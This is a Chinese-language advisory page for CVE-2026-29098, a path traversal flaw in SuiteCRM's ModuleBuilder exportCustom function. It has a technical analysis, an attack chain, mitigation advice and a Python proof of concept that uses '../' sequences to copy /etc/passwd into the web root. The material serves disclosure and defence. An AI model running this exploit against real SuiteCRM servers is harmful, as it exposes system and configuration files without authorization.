IPBUF安全漏洞报告
English
CVE-2026-29098 CVSS 4.9 中危

CVE-2026-29098 SuiteCRM路径遍历漏洞

披露日期: 2026-03-19

漏洞信息

漏洞编号
CVE-2026-29098
漏洞类型
路径遍历
CVSS评分
4.9 中危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
SuiteCRM

相关标签

路径遍历SuiteCRM信息泄露CWE-22

漏洞概述

SuiteCRM在7.15.1和8.9.3之前的版本中存在严重的安全漏洞。由于`modules/ModuleBuilder/controller.php`中的`action_exportCustom`函数未能正确过滤用户输入的`$modules`和`$name`参数,导致路径遍历攻击。拥有ModuleBuilder访问权限(通常是管理员)的用户可利用此漏洞将服务器上任意可读目录(如/etc)的文件复制到Web根目录,从而导致敏感信息泄露。

技术细节

该漏洞的根源在于SuiteCRM的ModuleBuilder模块中缺乏对路径遍历字符的严格过滤。具体而言,`modules/ModuleBuilder/controller.php`文件内的`action_exportCustom`函数接收用户提供的`$modules`和`$name`参数,且未经验证直接传递给`modules/ModuleBuilder/MB/MBPackage.php`中的`exportCustom`函数。在`exportCustom`函数内部,这些受污染的参数被用于构建文件读写的操作路径。由于系统未对输入中的`../`等路径遍历序列进行有效净化,攻击者可以构造特制的HTTP请求,从而穿越预期的目录限制。利用此漏洞,攻击者能够将系统敏感目录(例如`/etc`或Web服务器根目录)的内容复制到Web可访问的根目录下。一旦文件被复制到Web根目录,攻击者即可通过浏览器直接下载或查看这些敏感文件,造成严重的数据泄露风险。

攻击链分析

STEP 1
1. 身份认证
攻击者需要获取SuiteCRM的高权限账户(通常是管理员),以访问ModuleBuilder模块。
STEP 2
2. 发送恶意请求
攻击者向`index.php`发送特制的POST请求,目标action为`exportCustom`,并在`modules`和`name`参数中插入路径遍历载荷(如`../`)。
STEP 3
3. 路径解析与文件复制
服务器端的`exportCustom`函数未正确过滤输入,将攻击者指定的路径(如`/etc/passwd`)作为源,Web根目录作为目标进行文件复制操作。
STEP 4
4. 敏感信息泄露
攻击者访问Web根目录下被复制的文件,从而读取系统敏感信息(如配置文件、密钥等)。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests def exploit(target_url, session): """ PoC for CVE-2026-29098 Path Traversal in SuiteCRM. Copies /etc/passwd to the web root. """ # The endpoint vulnerable to path traversal url = f"{target_url}/index.php" # Payload parameters to traverse to /etc/passwd data = { "module": "ModuleBuilder", "action": "exportCustom", "modules": "../../../../../../etc", # Path traversal sequence "name": "passwd" } headers = { "Content-Type": "application/x-www-form-urlencoded" } try: response = session.post(url, data=data, headers=headers, timeout=10) if response.status_code == 200: print("[+] Request sent successfully. Check the web root for the 'passwd' file.") else: print(f"[-] Exploit failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") # Usage example # session = requests.Session() # session.post("http://target/login", auth=("admin", "password")) # exploit("http://target", session)

影响范围

SuiteCRM < 7.15.1
SuiteCRM < 8.9.3

防御指南

临时缓解措施
如果无法立即升级,建议严格限制ModuleBuilder模块的访问权限,仅允许必要的管理员账户访问,并定期检查Web根目录下是否存在异常复制的系统文件。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表